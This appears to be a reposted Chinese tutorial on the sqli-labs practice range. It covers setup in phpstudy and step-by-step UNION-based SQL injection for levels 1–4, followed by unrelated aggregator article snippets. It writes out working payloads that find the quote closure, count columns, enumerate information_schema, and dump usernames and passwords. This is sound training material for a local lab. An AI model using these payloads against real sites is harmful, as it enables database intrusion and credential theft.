第二十一章-sql 注入-union 联合注入 (1)

news/2025/9/21 16:50:09/文章来源:https://www.cnblogs.com/wlxq/p/19103813

用户须知

1.免责声明:本教程作者及相关参与人员对于任何直接或间接使用本教程内容而导致的任何形式的损失或损害,包括但不限于数据丢失、系统损坏、个人隐私泄露或经济损失等,不承担任何责任。所有使用本教程内容的个人或组织应自行承担全部风险。

综合传送门

详情免责声明 版权声明 交流群 公众hao

前言

1. 更多教程请点击上面的公众hao(教程来源于公众hao,如下面教程有误差,欢迎大家进交流群反馈同时移步公众hao

2. 有不懂的问题,欢迎进交流群讨论,互相学习!

3. 教程中所用到的资源都在公众hao->资源获取->百度网盘


一.搭建靶场

1.打开github搜索sql-labs,如图

注意:由于GitHub官网服务器是国外的,部分地区打开很慢,需要国外的网络打开

2.点击打开

3.点击下载,解压到phpstudy根目录下的www文件夹下

注意:这里为什么我的名称是sql,没有你们那么长,是因为我重命名简写了,后面地址栏访问会很简单

4.打开sql下滑找到这个文件

5.用记事本打开配置sql-connections这个文件

注明:用户名和密码与phpstudy中的数据库对应

6.然后打开phpstudy打开这两个服务

7.然后浏览器打开,在地址栏输入127.0.0.1/sql 回车

点击图中圈的,首次搭建完后需要创建数据库

8.下滑即可进入关卡

9.如果遇到问题,大概率可能是php版本的问题可以更换版本再重启服务即可

靶场搭建完毕,接下来进入关卡

二.关卡

1.第一关

白盒分析:查看源代码

查看源代码得知

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

注意:对比第二关:id加了引号

黑盒测试

  • 第一步判断是否存在SQL注入

我们输入

?id=1

输入不同的id值有不同的变化表示存在SQL注入

  • 判断类型
  • 输入
?id=1'

得知闭合是'

  • 输入
?id=1'--+

验证正确得知是字符型且存在SQL注入

  • 第二步:判断有几个字段数

注明:order by:对结果集进行列排序

在地址栏输入

1 order by 3 …1 order by 100发现都可以

  • 分析问题查看命令
$sql="SELECT * FROM users WHERE id='1 order by 3' LIMIT 0,1";

分析得知,传入命令被当做字符串处理了,应为有''

  • 解决方法:思路:把执行的代码跳出',即自己加'和--+(绕过技巧)
?id=1' order by 3 --+

  • 注入后数据库执行命令如下
$sql="SELECT * FROM users WHERE id='1 'order by 3--+' LIMIT 0,1";

没报错

  • 改成order by 4报错,说明只有三个字段

  • 第三步用union联合查询

注明:

  • union查询可以select多条语句并用(只能select)可以显示没有的东西
  • union:两个sql语句一起查询,两张表具有相同的列数,且字段名是一样的。
  • 展示空间不够前面会覆盖后面内容(所以接下来用-1,让前面命令执行不成功)
  • database()为查询库名
?id=-1' union select 1,database(),3 --+

得到库

  • 第四步 查这个库中的表名

注明:

  • MySQL自带Information_schema库
  • Information_schema库里有两个特殊的表
  1. 表tables记录了库名和表名
  2. 表columns:库里面有什么表,表里面有什么字段
  • table_schema:记录了所有库的库名
  • table_name.记录了表
  • column_name:记录了字段
?id=-1' union select 1,table_name,3 from information_schema.tables where table_schema=database() --+
  • 也可以这样写
?id=-1' union select 1,table_name,3 from information_schema.tables where table_schema=security --+

其中一个表为emails

  • 重复操作查询表名(只需要改LIMIT)
  • LIMIT1,表示从第二行开始取,取一行

?id=-1' union select 1,table_name,3 from information_schema.tables where table_schema='security' LIMIT 1,1 --+
  • 或者可以用group_concat()将查询到结果连接起来。(不建议用,数据太多由于前端代码限制,会展示不完全)
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

  • 查看字段名
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

  • 第六步得到敏感字段的内容
?id=-1' union select 1,2,group_concat(username , password) from users--+

2****.第二关

  • 第一步判断是否存在SQL注入原理同第一节
?id=1

  • 输入以下语句显示报错
?id=1'

推断得知应该是数字型注入

  • 第二步:判断有几个字段数

在地址栏输入

?id=1 order by 3  //正确有显示
?id=1 order by 4  //报错

说明只有三个字段

  • 第三步用union联合查询
  • 输入
?id=-1 union select 1,2,3

  • 查询库名
?id=-1 union select 1,database(),3

得到库名

  • 第四步 查这个库中的表名
  • 可以用group_concat()将查询到结果连接起来。(不建议用,数据太多由于前端代码限制,会展示不完全)
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'

得知四个表

  • 第五步:查看字段名
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'

  • 第六步:获取敏感字段下面的数据
?id=-1 union select 1,2,group_concat(username,password) from users

3.第三关

  • 第一步判断是否存在SQL注入
  • 输入

?id=1?id=2...

两张不相同

  • 输入
?id=2' //探测以下什么类型

看到页面报错信息,可推断sql语句是单引号字符型且有括号

思路:所以我们需要闭合单引号而且也要考虑括号。

尝试注入

?id=4')--+

正常:说明注入格式正确后续步骤按照此规则

  • 第二步:判断有几个字段数
?id=1') order by 3--+

?id=1') order by 4--+

报错,推断只有三个字段数

  • 第三步用union联合查询
?id=-1') union select 1,2,3--+

  • 查询库名
?id=-1') union select 1,database(),3--+

得知库名为security

  • 第四步 查这个库中的表名
?id=-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+

得知几个表名

  • 第五步查看字段名
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

  • 第六步得到敏感字段的内容
?id=-1') union select 1,2,group_concat(username,password) from users--+

  • 感觉内容不容易看,加个id分割一下

4****.第四关

  • 第一步判断是否存在SQL注入

?id=1?id=2...

存在SQL注入漏洞

  • 输入
?id=1' //探测以下什么类型

没异常

  • 输入
?id=1"

  • 出现:'"1"") LIMIT 0,1'去除'变成"1"") LIMIT 0,1
  • 判断闭合方式")
  • 第二步:判断有几个字段数
?id=1") order by 3--

?id=1") order by 4--

报错,说明只有三个字段

  • 第三步用union联合查询
?id=-1") union select 1,2,3--+

  • 查库名
?id=-1") union select 1,database(),version()--+

注明:version()用于查看版本

  • 也可以只查看库名
?id=-1") union select 1,database(),3--+

  • 第四步 查这个库中的表名
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

得知四个表名

  • 第五步查看字段名
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

  • 第六步得到敏感字段的内容
?id=-1") union select 1,2,group_concat(username ,id , password) from users--+

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/908888.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Android开发参考

WorkManager https://www.cnblogs.com/octsun/category/2471458.html

求出e的值

//题意:利用公式e = 1 + 1/1! + 1/2! + 1/3! + ... + 1/n! 求e ; //输入:只有一行,该行包含一个整数n(2<=n<=15),表示计算e时累加到1/n!。 //输出:输出只有一行,该行包含计算出来的e的值,要求打印小数…

CSP-S模拟24

前言: 没写完的话就先咕着,先滚去学文化课了。 \(T1:\) 炒币 \(T2:\) 凑数 \(T3:\) 同构 \(T4:\) 重建

今年CSP...

我要晋级,我要晋级,我要晋级,我要晋级考的依托。J组,阅读程序第二道,第二层for循环的";"号没看到。大概86.5~88.5左右,还是江苏,晋级有点悬啊。能考88.5还是有点意外,以前都没真正意义上做过一张试卷…

实用指南:VGG改进(9):融合Axial Attention的VGG16架构

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

0voice-2.1.1-io多路复用select/poll/epoll

select之前的模式:\(1\) 请求 , \(1\) 线程好处:代码逻辑简单 缺点:不利于并发, \(1 \ k\) 并发量左右select 提供文件集合 fd_set,集合的大小

Transformer与ViT

前言: Transformer 结构非常重要,需要认真学习一遍 李沐老师课程 Transformer 论文 Transformer 代码 Transformer 自测题目 [Transformer 博客](Transformer/BERT/实战 | 冬于的博客 (ifwind.github.io)) 一.Trans…

comfUI背后的技术——VAE - 实践

comfUI背后的技术——VAE - 实践pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco&qu…

实用指南:Maven、Spring Boot、Spring Cloud以及它们的相互关系

实用指南:Maven、Spring Boot、Spring Cloud以及它们的相互关系2025-09-21 16:28 tlnshuju 阅读(0) 评论(0) 收藏 举报pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !imp…

【57页PPT】智慧高效的方案智慧医院信息化整体规划设计方案(附下载方式)

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

WordPress开放嵌入自动发现功能中的XSS漏洞分析

本文详细分析了WordPress中通过开放嵌入自动发现功能存在的XSS漏洞,包括postMessage()机制的安全问题、Safari浏览器的特殊行为以及完整的漏洞复现步骤,揭示了广泛使用的平台仍可能存在安全风险。WordPress开放嵌入自…

第二次软工作业

第二次软工作业软件工程第二次作业_个人项目 Github连接: mocheen/se_homework: homework ](https://github.com/mocheen/se_homework) 这个作业属于哪个课程 https://edu.cnblogs.com/campus/gdgy/Class12Grade23Comp…

20250921 模拟赛 T4 题解

Description https://zhengruioi.com/problem/3343?cid=1976 Solution 容易发现区间 LIS 满足四边形不等式,所以最终的答案关于划分段数是凸的。 设 \(d_i=f_i-f_{i-1}\)。那么由于 \(\sum d_i=n\) 且 \(d_i\) 不增,…

1.3 课前问题列表

1.什么样的方法应该用static修饰?不用static修饰的方法往往具有什么特性?Student的getName应该用static修饰吗? 1.通常是工具类方法、单例模式中获取单例对象的方法等应该用static修饰 2.不用static修饰的方法特性:…

NOIP 模拟赛十一

贪心+打表+数据结构+DPA. 倒序贪心即可。点击查看#include <bits/stdc++.h> #define lep(i, a, b) for (int i = a; i <= b; ++i) #define rep(i, a, b) for (int i = a; i >= b; --i) #define il inline …

Proxy 库解析(四)

test一切伟大的行动和思想,都有一个微不足道的开始。 There is a negligible beginning in all great action and thought.

warm-flow 监听器对象获取问题

初次使用warm-flow 实现了 Listener 接口,配置名字和路径也有写对,但监听器一直没启动,查看底层代码Listener listener = (Listener) FrameInvoker.getBean(clazz);在要执行监听器时,一直获取不到对象,很疑惑,打…

Hexo Butterfly 5.4 分页问题 YAML 错误 解决方法总结

Hexo Butterfly 5.4 分页问题 & YAML 错误 解决方法总结 本次问题核心是 “首页分页显示不全(仅 1、2…11)” 与 “hexo clean 报错 YAML 重复键”,最终通过配置文件修正 + 主题模板调整解决,具体步骤如下: 一…

FPGA硬件设计6 ZYNQ外围-HDMI、PCIE、SFP、SATA、FMC - 教程

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …